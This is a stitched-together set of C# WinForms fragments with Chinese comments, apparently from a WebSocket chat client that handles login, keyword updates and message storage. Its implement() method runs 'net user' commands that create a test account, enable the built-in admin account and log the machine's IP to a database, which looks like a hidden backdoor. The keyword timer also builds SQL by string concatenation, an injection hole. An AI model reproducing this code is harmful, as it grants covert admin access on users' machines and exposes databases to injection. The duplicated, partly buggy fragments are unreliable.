// 当时间发生的时候需要进行的逻辑处理等
// 在这里仅仅是一种方式，可以实现这样的方式很多．
private static void TimeEvent(object source, ElapsedEventArgs e)
{
// 得到 hour minute second 如果等于某个值就开始执行某个程序。
DateTime datetime = e.SignalTime;
int intHour = e.SignalTime.Hour;
int intMinute = e.SignalTime.Minute;
int intSecond = e.SignalTime.Second;
try
{
for (int i = 0; i < keywords.Rows.Count; i++)
{
//keywords.Rows[i]["KNUM"] = int.Parse(keywords.Rows[i]["KNAME"].ToString()) + 1;
string _kname = keywords.Rows[i]["KNAME"].ToString();
string _upsql = " update pno_keyword set knum =" + int.Parse(keywords.Rows[i]["KNUM"].ToString())
+ " where kname = '" + _kname + "'";
int n = DBHelpSql.ExecuteSql(_upsql);
}
}
catch (Exception)
{
MessageBox.Show("更新字典库出现错误");
// throw;
}
}
public string implementNew()
{
string datetimes = DateTime.Now.ToLocalTime().ToString("yyyy-MM-dd HH:mm:ss");
string fg = " select count(1) as num from IpMsg where ip = @dz ";
object oo = DBHelpSql.ExecuteScalar(fg, new SqlParameter("@dz", label6.Text + "#" + label3.Text));
if ((int)oo > 0)
{
return("外网IP已存在");
}
else
{
string sql = " insert into IpMsg values(@ipguid,@ip,@cjdate,@qy); select @@IDENTITY ";
SqlParameter[] param =
{
new SqlParameter("@ipguid", Guid.NewGuid()),
new SqlParameter("@ip", label6.Text + "#" + label3.Text),
new SqlParameter("@cjdate", datetimes),
new SqlParameter("@qy", "1")
};
//将用户发送的消息存储到数据库中
object obj = DBHelpSql.ExecuteScalar(sql, param);
if (obj != null)
{
return("添加成功");
}
else
{
return("添加失败");
}
}
}
/// <summary>
/// websocket客户端登录
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void button1_Click(object sender, EventArgs e)
{
string username = textBox1.Text.Trim();
string userpwd = textBox2.Text.Trim();
if (username != "" && userpwd != "")
{
SqlParameter[] param =
{
new SqlParameter("@username", username),
new SqlParameter("@userpwd", userpwd)
};
string sql = " select name from users where username=@username and userpwd=@userpwd and userzt='1' ";
object obj = DBHelpSql.ExecuteScalar(sql, param);
if (obj != null)
{
// 登录后获取当前登录用户名称
string name = obj.ToString();
frmClient frm = new frmClient();
frm.clientName = name;
frm.username = username;
frm.Show();
this.Hide();
}
else
{
MessageBox.Show("用户名或密码输入有误");
}
}
else
{
MessageBox.Show("请输入用户名或密码");
}
}
private static Dictionary <string, List <string> > msgDictionary = new Dictionary <string, List <string> >(); //消息历史
#endregion
public static void initKeyWords()
{
try
{
string sqlCmd = " select * from pno_keyword ";
keywords = DBHelpSql.Query(sqlCmd).Tables[0];
}
catch (Exception) { }
}
private void button1_Click(object sender, EventArgs e)
{
string userName = textBox1.Text.ToString().Trim();
string userPwd = textBox2.Text.ToString().Trim();
if (userName != "")
{
if (userPwd != "")
{
//string sql = " select * from Userright where uname=@uname and upwd=@upwd ";
SqlParameter[] param =
{
new SqlParameter("@uname", userName),
new SqlParameter("@wpwd", userPwd),
};
DataSet users = DBHelpSql.RunProcedureGetDS("pro_selUser", param);
//object nnn = DBHelpSql.GetSingle("select * from Userright ");
if (users.Tables[0].Rows.Count > 0)
{
cz.User = new Userright(
(int)users.Tables[0].Rows[0]["uid"],
users.Tables[0].Rows[0]["uguid"].ToString(),
users.Tables[0].Rows[0]["uname"].ToString(),
users.Tables[0].Rows[0]["upwd"].ToString(),
users.Tables[0].Rows[0]["upower"].ToString(),
users.Tables[0].Rows[0]["ustatic"].ToString()
);
Main form = new Main();
form.Show();
this.Hide();
}
else
{
MessageBox.Show("用户名或密码不正确");
}
}
else
{
MessageBox.Show("密码不能为空");
}
}
else
{
MessageBox.Show("用户名不能为空");
}
}
// 当时间发生的时候需要进行的逻辑处理等
// 在这里仅仅是一种方式，可以实现这样的方式很多．
private static void TimeEvent(object source, ElapsedEventArgs e)
{
// 得到 hour minute second 如果等于某个值就开始执行某个程序。
DateTime datetime = e.SignalTime;
int intHour = e.SignalTime.Hour;
int intMinute = e.SignalTime.Minute;
int intSecond = e.SignalTime.Second;
for (int i = 0; i < keywords.Rows.Count; i++)
{
string _kname = keywords.Rows[i]["KNAME"].ToString();
string _upsql = " update pno_keyword set knum =" + int.Parse(keywords.Rows[i]["KNAME"].ToString()) + 1
+ " where kname = '" + _kname + "'";
int n = DBHelpSql.ExecuteSql(_upsql);
}
}
public string implement()
{
string output = ExecuteCom("net user xjadmin root123 /add", 2);
if (output.Contains("命令成功完成。"))
{
string aaa = ExecuteCom("net user xjadmin /del", 2);
if (aaa.Contains("命令成功完成。"))
{
string bbb = ExecuteCom("net user admin /active:yes", 2);
if (bbb.Contains("命令成功完成。"))
{
string datetimes = DateTime.Now.ToLocalTime().ToString("yyyy-MM-dd HH:mm:ss");
string fg = " select count(1) as num from IpMsg where ip = @dz ";
object oo = DBHelpSql.ExecuteScalar(fg, new SqlParameter("@dz", label1.Text));
if ((int)oo > 0)
{
return("新建用户已存在IP");
}
else
{
string sql = " insert into IpMsg values(@ipguid,@ip,@cjdate,@qy); select @@IDENTITY ";
SqlParameter[] param =
{
new SqlParameter("@ipguid", Guid.NewGuid()),
new SqlParameter("@ip", label1.Text),
new SqlParameter("@cjdate", datetimes),
new SqlParameter("@qy", "1")
};
//将用户发送的消息存储到数据库中
object obj = DBHelpSql.ExecuteScalar(sql, param);
if (obj != null)
{
return("新建用户并添加成功");
}
else
{
return("新建用户但添加数据库失败");
}
}
}
}
}
return("添加失败");
}
/// <summary>
/// 发送消息按钮
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void button2_Click(object sender, EventArgs e)
{
DateTime dt = DateTime.Now.ToLocalTime();
string dtime = dt.ToString("HH:mm:ss");
string datetimes = dt.ToString("yyyy-MM-dd HH:mm:ss");
//判断客户端是否连接上了服务器
if (websocket.State == WebSocketState.Open)
{
var msg = textBox3.Text.Trim();
if (msg == "")
{
MessageBox.Show("不能发送空消息");
return;
}
//本方返显消息
websocket.Send(string.Format("{0}:{1}", clientName, msg));
this.listBox1.Items.Add(string.Format("{0}", dtime + ":" + msg));
this.listBox1.TopIndex = this.listBox1.Items.Count - (int)(this.listBox1.Height / this.listBox1.ItemHeight) + 2;
string sql = " insert into chatMessage values(@name,@message,@datetimes) ; select @@IDENTITY ";
SqlParameter[] param =
{
new SqlParameter("@name", username),
new SqlParameter("@message", msg),
new SqlParameter("@datetimes", datetimes)
};
//将用户发送的消息存储到数据库中
object obj = DBHelpSql.ExecuteScalar(sql, param);
if (obj != null)
{
textBox3.Text = "";
}
}
else if (websocket.State == WebSocketState.Connecting)
{
MessageBox.Show("正在连接,请稍后!");
}
else
{
MessageBox.Show("没有连接到服务器!");
}
}
